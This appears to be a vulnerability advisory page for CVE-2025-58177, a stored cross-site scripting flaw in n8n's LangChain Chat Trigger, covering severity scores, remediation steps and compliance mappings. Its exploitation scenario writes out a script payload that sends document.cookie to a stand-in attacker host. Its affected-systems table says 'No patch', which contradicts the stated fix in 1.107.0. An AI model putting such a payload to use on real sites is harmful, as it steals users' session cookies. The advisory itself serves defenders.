CVE-2025-58177: n8n: stored XSS in LangChain chat trigger (public)

MEDIUM
Published September 15, 2025
CISO Take

An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.

What is the risk?

Medium CVSS (5.4) understates operational risk for organizations with public-facing n8n AI chat interfaces. The scope change (S:C) indicates cross-context impact: an attacker with low-privilege access poisons the configuration once, and the payload fires for every subsequent external visitor. Real-world blast radius scales with how many end users interact with exposed chat URLs — potentially large for customer-facing AI assistants built on n8n.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
n8n npm No patch
193.4K OpenSSF 6.6 Pushed 2d ago 55% patched ~7d to patch Full package profile →

Do you use n8n? You're affected.

How severe is it?

CVSS 3.1
5.4 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 12% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Changed
C Low
I Low
A None

What should I do?

6 steps
  1. PATCH

    Upgrade n8n to 1.107.0 or later immediately.

  2. WORKAROUND

    If patching is delayed, disable all public-facing LangChain chatTrigger nodes.

  3. AUDIT

    Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers.

  4. ACCESS CONTROL

    Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled.

  5. CSP

    Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS.

  6. MONITOR

    Review access logs for public chat URLs for anomalous traffic or referrers post-incident.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk Management System
ISO 42001
A.6.1.2 - AI System Security Risk Assessment
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain and monitor AI risk
OWASP LLM Top 10
LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2025-58177?

An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.

Is CVE-2025-58177 actively exploited?

No confirmed active exploitation of CVE-2025-58177 has been reported, but organizations should still patch proactively.

How to fix CVE-2025-58177?

1. PATCH: Upgrade n8n to 1.107.0 or later immediately. 2. WORKAROUND: If patching is delayed, disable all public-facing LangChain chatTrigger nodes. 3. AUDIT: Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers. 4. ACCESS CONTROL: Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled. 5. CSP: Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS. 6. MONITOR: Review access logs for public chat URLs for anomalous traffic or referrers post-incident.

What systems are affected by CVE-2025-58177?

This vulnerability affects the following AI/ML architecture patterns: workflow automation, agent frameworks, LLM-powered chatbots, AI pipeline orchestration.

What is the CVSS score for CVE-2025-58177?

CVE-2025-58177 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.22%.

What is the AI security impact?

Affected AI Architectures

workflow automationagent frameworksLLM-powered chatbotsAI pipeline orchestration

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0049 Exploit Public-Facing Application
AML.T0052 Phishing
AML.T0078 Drive-by Compromise
AML.T0093 Prompt Infiltration via Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.1.2
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

n8n is an open source workflow automation platform. From 1.24.0 to before 1.107.0, there is a stored cross-site scripting (XSS) vulnerability in @n8n/n8n-nodes-langchain.chatTrigger. An authorized user can configure the LangChain Chat Trigger node with malicious JavaScript in the initialMessages field and enable public access so that the payload is executed in the browser of any user who visits the resulting public chat URL. This can be used for phishing or to steal cookies or other sensitive data from users accessing the public chat link. The issue is fixed in version 1.107.0. Updating to 1.107.0 or later is recommended. As a workaround, the affected chatTrigger node can be disabled. No other workarounds are known.

Exploitation Scenario

A threat actor with low-privilege n8n access (compromised developer credential or malicious insider) modifies a LangChain Chat Trigger workflow, injecting a cookie-harvesting payload such as '<script>fetch("https://attacker.com/c?v="+document.cookie)</script>' into the initialMessages field. They enable public access and distribute the resulting URL via phishing emails targeting the organization's customers or partner users. Every visitor who loads the chat interface silently delivers their session tokens to the attacker — all while interacting with what appears to be a legitimate AI assistant.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Timeline

Published
September 15, 2025
Last Modified
October 14, 2025
First Seen
September 15, 2025

Related Vulnerabilities